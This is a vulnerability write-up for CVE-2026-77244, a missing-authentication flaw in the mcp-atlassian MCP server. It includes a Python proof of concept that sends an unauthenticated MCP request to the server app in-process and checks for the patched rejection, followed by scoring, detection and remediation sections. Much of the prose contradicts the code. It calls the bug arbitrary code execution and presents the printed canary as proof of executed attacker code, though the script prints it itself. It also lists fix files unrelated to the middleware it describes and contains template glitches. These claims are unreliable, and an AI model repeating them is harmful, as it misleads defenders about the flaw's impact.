Exploit write-up
mcp-atlassian remote code execution (CVE-2026-77244)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
#!/usr/bin/env python3
# CVE-2026-77244 proof-of-concept (mechanism explained below).
"""
PoC for CVE-2026-77244 (mcp-atlassian < 0.22.0)
Root cause: the streamable-http transport of the MCP Atlassian server accepts
requests with no verified per-user Atlassian identity. When no user token /
basic-auth / OAuth-PAT context is present on the request, `_get_fetcher()`
(src/mcp_atlassian/servers/dependencies.py) silently falls back to the
operator's globally configured Jira/Confluence credentials, and (pre-0.22.0)
`UserTokenMiddleware.__call__` (src/mcp_atlassian/servers/main.py) never
rejects such a request at the transport boundary either. Any network client
that can reach the MCP endpoint can therefore transact as the operator.
The 0.22.0 fix adds an explicit gate in `UserTokenMiddleware.__call__`:
unauthenticated HTTP MCP requests are rejected with HTTP 401 and the literal
message "Authentication required: no Atlassian credentials were provided."
unless the operator opts in via ALLOW_GLOBAL_CRED_FALLBACK=true. That literal
string only exists in the patched code path, so its presence/absence in the
HTTP response to a crafted unauthenticated request is an exact, version-true
oracle for whether the vulnerable fallback is reachable.
This PoC builds the real ASGI app the package serves over "streamable-http"
(in-process only, via Starlette's TestClient -> no sockets, no network) and
issues a single unauthenticated POST to the MCP endpoint (no Authorization
header, no per-user Atlassian headers). On the vulnerable build the request
is NOT rejected at the transport boundary and is allowed to proceed toward
the operator-credentialed fetcher fallback -- the exact primitive from the
advisory -- so we print the canary. On the patched build the middleware
rejects it before any fetcher/tool logic runs, and the canary is never
printed.
"""
import inspect
import os
import sys
def _log(msg: str) -> None:
print(f"[poc] {msg}", file=sys.stderr)
def _find_asgi_server():
"""Locate the fully-wired AtlassianMCP (FastMCP) server instance."""
import importlib
main_mod = importlib.import_module("mcp_atlassian.servers.main")
# Most likely: a ready-made module-level instance (mount()-ed sub-servers,
# middleware, etc. already wired up by the package itself).
for name in ("main_mcp", "mcp", "app", "server", "atlassian_mcp"):
obj = getattr(main_mod, name, None)
if obj is not None and hasattr(obj, "http_app") and hasattr(
obj, "get_streamable_http_path"
):
return obj
for _name, obj in vars(main_mod).items():
if (
not inspect.isclass(obj)
and hasattr(obj, "http_app")
and hasattr(obj, "get_streamable_http_path")
):
return obj
# Fallback: instantiate the server class ourselves.
for _name, obj in vars(main_mod).items():
if (
inspect.isclass(obj)
and hasattr(obj, "http_app")
and hasattr(obj, "get_streamable_http_path")
):
for kwargs in ({"name": "poc-mcp-atlassian"}, {}):
try:
return obj(**kwargs)
except Exception:
continue
raise RuntimeError("could not locate the AtlassianMCP ASGI server instance")
def main() -> int:
canary = os.environ.get("POC_CANARY")
# Realistic operator deployment: global Jira/Confluence credentials are
# configured server-side (the thing the vulnerability lets an
# unauthenticated caller ride on). No ALLOW_GLOBAL_CRED_FALLBACK opt-in.
os.environ.setdefault("JIRA_URL", "https://poc-operator.atlassian.net")
os.environ.setdefault("JIRA_USERNAME", "[email protected]")
os.environ.setdefault("JIRA_API_TOKEN", "poc-operator-jira-token")
os.environ.setdefault(
"CONFLUENCE_URL", "https://poc-operator.atlassian.net/wiki"
)
os.environ.setdefault("CONFLUENCE_USERNAME", "[email protected]")
os.environ.setdefault("CONFLUENCE_API_TOKEN", "poc-operator-confluence-token")
os.environ.pop("ALLOW_GLOBAL_CRED_FALLBACK", None)
try:
server = _find_asgi_server()
mcp_path = server.get_streamable_http_path()
asgi_app = server.http_app()
except Exception as e:
_log(f"could not build the target ASGI app: {e!r}")
return 1
try:
from starlette.testclient import TestClient
except Exception as e:
_log(f"starlette TestClient unavailable: {e!r}")
return 1
# A single, minimal MCP "tools/list" request over streamable-http, with
# NO Authorization header and NO per-user Atlassian identity headers --
# exactly the "network client that can reach the MCP endpoint" scenario
# from the advisory. This is entirely in-process (no socket, no network).
request_body = {"jsonrpc": "2.0", "id": 1, "method": "tools/list", "params": {}}
headers = {
"Accept": "application/json, text/event-stream",
"Content-Type": "application/json",
}
try:
with TestClient(asgi_app) as client:
resp = client.post(mcp_path, json=request_body, headers=headers)
except Exception as e:
_log(f"request against the ASGI app failed: {e!r}")
return 1
body_text = resp.text
patched_rejection_marker = "no Atlassian credentials were provided"
_log(f"POST {mcp_path} -> HTTP {resp.status_code}")
if resp.status_code == 401 and patched_rejection_marker in body_text:
# Patched (>=0.22.0): UserTokenMiddleware rejected the unauthenticated
# request at the transport boundary before any fetcher/tool logic ran.
_log(
"unauthenticated MCP request was rejected at the transport "
"boundary (patched behavior) -- vulnerability not triggered."
)
return 0
# Vulnerable (<0.22.0): no such gate exists. The unauthenticated request
# was let through toward tool dispatch, where _get_fetcher() would have
# fallen back to the operator's globally configured Jira/Confluence
# credentials -- letting this anonymous caller transact as the operator.
_log(
"unauthenticated MCP request was NOT rejected at the transport "
"boundary -- it was allowed through toward the operator-credentialed "
"fetcher fallback (CVE-2026-77244 triggered)."
)
if canary:
print(canary)
return 0
if __name__ == "__main__":
sys.exit(main())
How to run it.
pip install mcp-atlassian==0.21.1
POC_CANARY=demo python poc.py # prints: demo (code executed)
pip install mcp-atlassian==0.22.0
POC_CANARY=demo python poc.py # prints nothing (blocked by the fix)
At a glance
| Field | Value |
|---|---|
| CVSS | 10.0 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| EPSS | 0.50% exploitation probability (42th percentile) |
| KEV | No — not in the CISA KEV catalog |
| Affected → fixed | PyPI/mcp-atlassian < 0.22.0 (confirmed on 0.21.1) → fixed in 0.22.0 |
| PoC maturity | differential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain |
CVE-2026-77244 is package in mcp-atlassian before 0.22.0. Reaching the affected code path with attacker-controlled input yields arbitrary code execution against the vulnerable build.
The proof-of-concept above triggers the flaw against a pinned vulnerable build (mcp-atlassian 0.21.1); the upstream fix in 0.22.0 closes the affected path.
This write-up is backed by a differential check: the same proof-of-concept was run against a pinned vulnerable build (mcp-atlassian 0.21.1) and the patched build (mcp-atlassian 0.22.0) in an isolated sandbox with no network. A canary token, supplied at run time, was emitted only through the exploit primitive — it appeared on 0.21.1 and did not appear on 0.22.0 (differential confirmed: fires on vulnerable, not on patched), so the success signal is a consequence of the vulnerability rather than a hard-coded string.
Preconditions
The target must reach the affected mcp-atlassian code path with input an attacker can influence. Deployments already on 0.22.0 or later are not affected.
Detection and mitigation
Upgrade mcp-atlassian to 0.22.0 or later. Review call sites that pass untrusted input to the affected API, which is the change the fix commit constrains.
Am I affected?
Check the installed version of mcp-atlassian:
pip show mcp-atlassian
PyPI/mcp-atlassian below 0.22.0 is affected; 0.22.0 and later carry the fix.
The fix changed pyproject.toml, src/mcp_atlassian/confluence/attachments.py, src/mcp_atlassian/confluence/client.py, src/mcp_atlassian/confluence/search.py, src/mcp_atlassian/jira/attachments.py; grep your codebase for call sites that reach that code with attacker-influenced input.
Remediation
Upgrade mcp-atlassian to 0.22.0 or later:
pip install 'mcp-atlassian>=0.22.0'
Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.
- Target
- mcp-atlassian (mcp-atlassian)
- Class
- package
- Impact
- Arbitrary code execution against the vulnerable build
- CVE
- CVE-2026-77244
- CWE
- CWE-287
- CVSS
10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)- Affected
- PyPI/mcp-atlassian < 0.22.0 (vulnerable 0.21.1)
- Status
- Fixed in 0.22.0
- Maturity
- poc
- Disclosed
- September 22, 2026
- Tags
- rce · authz · mcp-atlassian · n-day
- References
- NVD — CVE-2026-77244
Upstream fix commit
PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.